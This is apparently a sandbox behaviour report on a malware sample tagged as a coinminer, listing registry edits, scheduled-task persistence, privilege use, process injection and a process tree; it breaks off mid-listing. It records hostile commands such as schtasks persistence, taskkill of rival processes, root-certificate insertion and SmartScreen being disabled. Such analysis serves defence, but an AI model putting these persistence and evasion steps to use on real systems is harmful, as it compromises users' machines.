Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B	dllhost.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\47BEABC922EAE80E78783462A79F45C254FDE68B\Blob = 040000000100000010000000803abc22c1e6fb8d9b3b274a321b9a010f00000001000000200000003560e45b41e46b8f36537025d1d5bc02d9652a10645b0eff69e8b6a52191f335090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080b000000010000005200000047006f00200044006100640064007900200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020001320200047003200000053000000010000002500000030233021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c062000000010000002000000045140b3247eb9cc8c5b4f0d7b53091f73292089e6e5a63e2749dd3aca9198eda7f0000000100000016000000301406082b0601050507030306082b060105050703041400000001000000140000003a9a8507106728b6eff6bd05416e20c194da0fde1d000000010000001000000070253fbcbde32a014d38c1993098ad997e00000001000000080000000080826f22e7dc0103000000010000001400000047beabc922eae80e78783462a79f45c254fde68b19000000010000001000000021d008b47b7a2a81c8435903ded424c92000000001000000c9030000308203c5308202ada003020102020100300d06092a864886f70d01010b0500308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d204732301e170d3039303930313030303030305a170d3337313233313233353935395a308183310b30090603550406130255533110300e060355040813074172697a6f6e61311330110603550407130a53636f74747364616c65311a3018060355040a1311476f44616464792e636f6d2c20496e632e3131302f06035504031328476f20446164647920526f6f7420436572746966696361746520417574686f72697479202d20473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bf716208f1fa5934f71bc918a3f7804958e9228313a6c52043013b84f1e685499f27eaf6841b4ea0b4db7098c73201b1053e074eeef4fa4f2f593022e7ab19566be28007fcf316758039517be5f935b6744ea98d8213e4b63fa90383faa2be8a156a7fde0bc3b6191405caeac3a804943b467c320df3006622c88d696d368c1118b7d3b21c60b438fa028cced3dd4607de0a3eeb5d7cc87cfbb02b53a4926269512505611a44818c2ca9439623dfac3a819a0e29c51ca9e95d1eb69e9e300a39cef18880fb4b5dcc32ec85624325340256270191b43b702a3f6eb1e89c88017d9fd4f9db536d609dbf2ce758abb85f46fccec41b033c09eb49315c6946b3e0470203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e041604143a9a8507106728b6eff6bd05416e20c194da0fde300d06092a864886f70d01010b0500038201010099db5d79d5f99759670361f17e3b0631752da1208e4f6587b4f7a69cbcd8e92fd0db5aeecf748c73b43842da057bf80275b8fda5b1d7aef6d7de13cb53107e8a46d197fab72e2b11ab90b02780f9e89f5ae9379fabe4df6cb385179d3dd9244f799135d65f04eb8083ab9a022db510f4d890c7047340ed7225a0a99fec9eab68129957c68f123a09a4bd44fd061537c19be432a3ed38e8d864f32c7e14fc02ea9fcdff076817db2290382d7a8dd154f169e35f33ca7a3d7b0ae3ca7f5f39e5e275bac5761833ce2cf02f4cadf7b1e7ce4fa8c49b4a5406c57f7dd5080fe21cfe7e17b8ac5ef6d416b243090c4df6a76bb4998465ca7a88e2e244be5cf7ea1cf5	dllhost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2060	schtasks.exe
2732	schtasks.exe
60	schtasks.exe
4232	schtasks.exe
1832	schtasks.exe
2516	schtasks.exe
2952	schtasks.exe
2176	schtasks.exe
4060	schtasks.exe
2480	schtasks.exe
4560	schtasks.exe
1684	schtasks.exe
4200	schtasks.exe
1156	schtasks.exe
4044	schtasks.exe
2104	schtasks.exe
3352	schtasks.exe
1688	schtasks.exe
3616	schtasks.exe
4420	schtasks.exe
2076	schtasks.exe
4072	schtasks.exe
2064	schtasks.exe
1916	schtasks.exe
64	schtasks.exe
4676	schtasks.exe
920	schtasks.exe
1076	schtasks.exe
3080	schtasks.exe
2584	schtasks.exe
2068	schtasks.exe
3536	schtasks.exe
2604	schtasks.exe
1088	schtasks.exe
2072	schtasks.exe
2316	schtasks.exe
4780	schtasks.exe
4424	schtasks.exe
3356	schtasks.exe
4320	schtasks.exe
2280	schtasks.exe
3608	schtasks.exe
3328	schtasks.exe
1960	schtasks.exe
364	schtasks.exe
4980	schtasks.exe
4148	schtasks.exe
1620	schtasks.exe
4596	schtasks.exe
1756	schtasks.exe
564	schtasks.exe
916	schtasks.exe
1736	schtasks.exe
3796	schtasks.exe
4916	schtasks.exe
4572	schtasks.exe
2012	schtasks.exe
2584	schtasks.exe
4980	schtasks.exe
2732	schtasks.exe
4360	schtasks.exe
3040	schtasks.exe
60	schtasks.exe
4504	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
4580	powershell.exe
4580	powershell.exe
4580	powershell.exe
984	RuntimeBroker.exe
984	RuntimeBroker.exe
4164	powershell.exe
4164	powershell.exe
4164	powershell.exe
864	powershell.exe
864	powershell.exe
864	powershell.exe
2796	powershell.exe
2796	powershell.exe
2796	powershell.exe
3328	powershell.exe
3328	powershell.exe
3328	powershell.exe
656	powershell.exe
656	powershell.exe
656	powershell.exe
3120	powershell.exe
3120	powershell.exe
3120	powershell.exe
3860	powershell.exe
3860	powershell.exe
4424	powershell.exe
4424	powershell.exe
4424	powershell.exe
3860	powershell.exe
1672	powershell.exe
1672	powershell.exe
4948	powershell.exe
4948	powershell.exe
4948	powershell.exe
1672	powershell.exe
3604	powershell.exe
3604	powershell.exe
3328	powershell.exe
3328	powershell.exe
3604	powershell.exe
3328	powershell.exe
2868	powershell.exe
2868	powershell.exe
656	powershell.exe
656	powershell.exe
656	powershell.exe
2868	powershell.exe
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
3376	powershell.exe
3376	powershell.exe
3376	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
364	powershell.exe
364	powershell.exe
364	powershell.exe
3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs

pid	Process
4480	msedgewebview2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3688	taskkill.exe
Token: SeDebugPrivilege	372	taskkill.exe
Token: SeDebugPrivilege	2704	taskkill.exe
Token: SeDebugPrivilege	4524	taskkill.exe
Token: SeDebugPrivilege	2108	taskkill.exe
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeDebugPrivilege	2108	taskkill.exe
Token: SeIncreaseQuotaPrivilege	4580	powershell.exe
Token: SeSecurityPrivilege	4580	powershell.exe
Token: SeTakeOwnershipPrivilege	4580	powershell.exe
Token: SeLoadDriverPrivilege	4580	powershell.exe
Token: SeSystemProfilePrivilege	4580	powershell.exe
Token: SeSystemtimePrivilege	4580	powershell.exe
Token: SeProfSingleProcessPrivilege	4580	powershell.exe
Token: SeIncBasePriorityPrivilege	4580	powershell.exe
Token: SeCreatePagefilePrivilege	4580	powershell.exe
Token: SeBackupPrivilege	4580	powershell.exe
Token: SeRestorePrivilege	4580	powershell.exe
Token: SeShutdownPrivilege	4580	powershell.exe
Token: SeDebugPrivilege	4580	powershell.exe
Token: SeSystemEnvironmentPrivilege	4580	powershell.exe
Token: SeRemoteShutdownPrivilege	4580	powershell.exe
Token: SeUndockPrivilege	4580	powershell.exe
Token: SeManageVolumePrivilege	4580	powershell.exe
Token: 33	4580	powershell.exe
Token: 34	4580	powershell.exe
Token: 35	4580	powershell.exe
Token: 36	4580	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeIncreaseQuotaPrivilege	4164	powershell.exe
Token: SeSecurityPrivilege	4164	powershell.exe
Token: SeTakeOwnershipPrivilege	4164	powershell.exe
Token: SeLoadDriverPrivilege	4164	powershell.exe
Token: SeSystemProfilePrivilege	4164	powershell.exe
Token: SeSystemtimePrivilege	4164	powershell.exe
Token: SeProfSingleProcessPrivilege	4164	powershell.exe
Token: SeIncBasePriorityPrivilege	4164	powershell.exe
Token: SeCreatePagefilePrivilege	4164	powershell.exe
Token: SeBackupPrivilege	4164	powershell.exe
Token: SeRestorePrivilege	4164	powershell.exe
Token: SeShutdownPrivilege	4164	powershell.exe
Token: SeDebugPrivilege	4164	powershell.exe
Token: SeSystemEnvironmentPrivilege	4164	powershell.exe
Token: SeRemoteShutdownPrivilege	4164	powershell.exe
Token: SeUndockPrivilege	4164	powershell.exe
Token: SeManageVolumePrivilege	4164	powershell.exe
Token: 33	4164	powershell.exe
Token: 34	4164	powershell.exe
Token: 35	4164	powershell.exe
Token: 36	4164	powershell.exe
Token: SeDebugPrivilege	864	powershell.exe
Token: SeDebugPrivilege	2796	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	3120	powershell.exe
Token: SeDebugPrivilege	3860	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	3604	powershell.exe
Token: SeDebugPrivilege	3328	powershell.exe
Token: SeDebugPrivilege	2868	powershell.exe
Token: SeDebugPrivilege	656	powershell.exe
Token: SeDebugPrivilege	3804	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3736 wrote to memory of 3688	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	83
PID 3736 wrote to memory of 4912	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	86
PID 3736 wrote to memory of 372	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	87
PID 4912 wrote to memory of 1076	4912	FontCacheService.exe	89
PID 4912 wrote to memory of 1184	4912	FontCacheService.exe	92
PID 3736 wrote to memory of 4480	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	93
PID 4480 wrote to memory of 896	4480	msedgewebview2.exe	95
PID 3736 wrote to memory of 2704	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	96
PID 3736 wrote to memory of 4520	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	143
PID 3736 wrote to memory of 4300	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	293
PID 3736 wrote to memory of 4524	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	102
PID 4480 wrote to memory of 5076	4480	msedgewebview2.exe	105
PID 4480 wrote to memory of 5076	4480	msedgewebview2.exe	105
PID 4480 wrote to memory of 5076	4480	msedgewebview2.exe	105
PID 4480 wrote to memory of 4132	4480	msedgewebview2.exe	106
PID 4480 wrote to memory of 3672	4480	msedgewebview2.exe	107
PID 4480 wrote to memory of 3672	4480	msedgewebview2.exe	107
PID 4480 wrote to memory of 4180	4480	msedgewebview2.exe	108
PID 4480 wrote to memory of 4180	4480	msedgewebview2.exe	108
PID 4480 wrote to memory of 4180	4480	msedgewebview2.exe	108
PID 3736 wrote to memory of 3488	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	109
PID 3736 wrote to memory of 1980	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	111
PID 3736 wrote to memory of 2480	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	113
PID 3736 wrote to memory of 3404	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	166
PID 3736 wrote to memory of 3896	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	121
PID 3736 wrote to memory of 2516	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	124
PID 984 wrote to memory of 2376	984	RuntimeBroker.exe	129
PID 3416 wrote to memory of 2108	3416	dllhost.exe	245
PID 3736 wrote to memory of 1816	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	172
PID 3736 wrote to memory of 4060	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	200
PID 984 wrote to memory of 4580	984	RuntimeBroker.exe	142
PID 3416 wrote to memory of 4520	3416	dllhost.exe	143
PID 3736 wrote to memory of 4124	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	146
PID 3416 wrote to memory of 5008	3416	dllhost.exe	150
PID 3736 wrote to memory of 2584	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	154
PID 3416 wrote to memory of 2108	3416	dllhost.exe	245
PID 3736 wrote to memory of 1756	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	159
PID 3736 wrote to memory of 2012	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	272
PID 3736 wrote to memory of 4560	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	164
PID 3736 wrote to memory of 3404	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	166
PID 984 wrote to memory of 4164	984	RuntimeBroker.exe	168
PID 3736 wrote to memory of 552	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	295
PID 3736 wrote to memory of 2068	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	334
PID 3736 wrote to memory of 1672	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	233
PID 3736 wrote to memory of 4660	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	179
PID 3416 wrote to memory of 1004	3416	dllhost.exe	181
PID 3736 wrote to memory of 864	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	256
PID 3416 wrote to memory of 4504	3416	dllhost.exe	328
PID 3416 wrote to memory of 4968	3416	dllhost.exe	187
PID 3416 wrote to memory of 2280	3416	dllhost.exe	189
PID 3416 wrote to memory of 2068	3416	dllhost.exe	334
PID 3736 wrote to memory of 2796	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	193
PID 3416 wrote to memory of 1088	3416	dllhost.exe	195
PID 3416 wrote to memory of 4996	3416	dllhost.exe	291
PID 3416 wrote to memory of 4320	3416	dllhost.exe	264
PID 3736 wrote to memory of 3328	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	374
PID 3416 wrote to memory of 4100	3416	dllhost.exe	204
PID 3416 wrote to memory of 3376	3416	dllhost.exe	259
PID 3416 wrote to memory of 3080	3416	dllhost.exe	209
PID 3736 wrote to memory of 656	3736	2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe	273
PID 3416 wrote to memory of 4424	3416	dllhost.exe	388
PID 3416 wrote to memory of 4996	3416	dllhost.exe	291
PID 3416 wrote to memory of 1684	3416	dllhost.exe	217
PID 3416 wrote to memory of 4980	3416	dllhost.exe	363

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe
"C:\Users\Admin\AppData\Local\Temp\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe"
1⤵
- Executes a file named after a Windows system binary
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies trusted root certificate store through registry
- Reads the TCP/IP host and domain name from the registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3736
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM FontCacheService.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3688
- C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
  C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:4912
- - C:\Windows\system32\schtasks.exe
    schtasks /Create /TN FontCacheDataService /XML C:\Users\Admin\AppData\Local\Temp\fcd_task.xml /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1076
- - C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
    C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe --guard --watch-pid 4912
    3⤵
    - Executes dropped EXE
    PID:1184
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM runtime-host.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:372
- C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
  "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --embedded-browser-webview=1 --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --noerrdialogs --embedded-browser-webview-dpi-awareness=2 --disable-features=msSmartScreenProtection --mojo-named-platform-channel-pipe=3736.2100.15327644383805202155
  2⤵
  - Drops file in Program Files directory
  - Enumerates system info in registry
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of WriteProcessMemory
  PID:4480
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView\Crashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=132.0.6834.160 "--annotation=exe=C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --annotation=plat=Win64 "--annotation=prod=Edge WebView2" --annotation=ver=132.0.2957.140 --initial-client-data=0x15c,0x160,0x164,0x138,0x16c,0x7ffaf07fb078,0x7ffaf07fb084,0x7ffaf07fb090
    3⤵
    PID:896
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=1724,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=1716 /prefetch:2
    3⤵
    PID:5076
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=2032,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=2040 /prefetch:3
    3⤵
    PID:4132
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=1720,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=2376 /prefetch:8
    3⤵
    PID:3672
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --js-flags="--harmony-weak-refs-with-cleanup-some --expose-gc --ms-user-locale=" --always-read-main-dll --field-trial-handle=3568,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=3608 /prefetch:1
    3⤵
    PID:4180
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4408,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4400 /prefetch:8
    3⤵
    PID:600
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --always-read-main-dll --field-trial-handle=4080,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4504 /prefetch:8
    3⤵
    PID:3508
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
    "C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Roaming\2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe\EBWebView" --webview-exe-name=2026-11-09_307ca42b8912570886b62e6a161d6ba6_coinminer_dosia_frostygoop_glassworm_hive_knight_luca-st.exe --webview-exe-version=1.0.0 --embedded-browser-webview=1 --embedded-browser-webview-dpi-awareness=2 --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2204,i,5497690229729075935,17539445797921917593,262144 --disable-features=msSmartScreenProtection --variations-seed-version --mojo-platform-channel-handle=4556 /prefetch:8
    3⤵
    PID:4252
- - C:\Program Files (x86)\Microsoft\EdgeWebView\Application\132.0.2957.140\msedgewebview2.exe
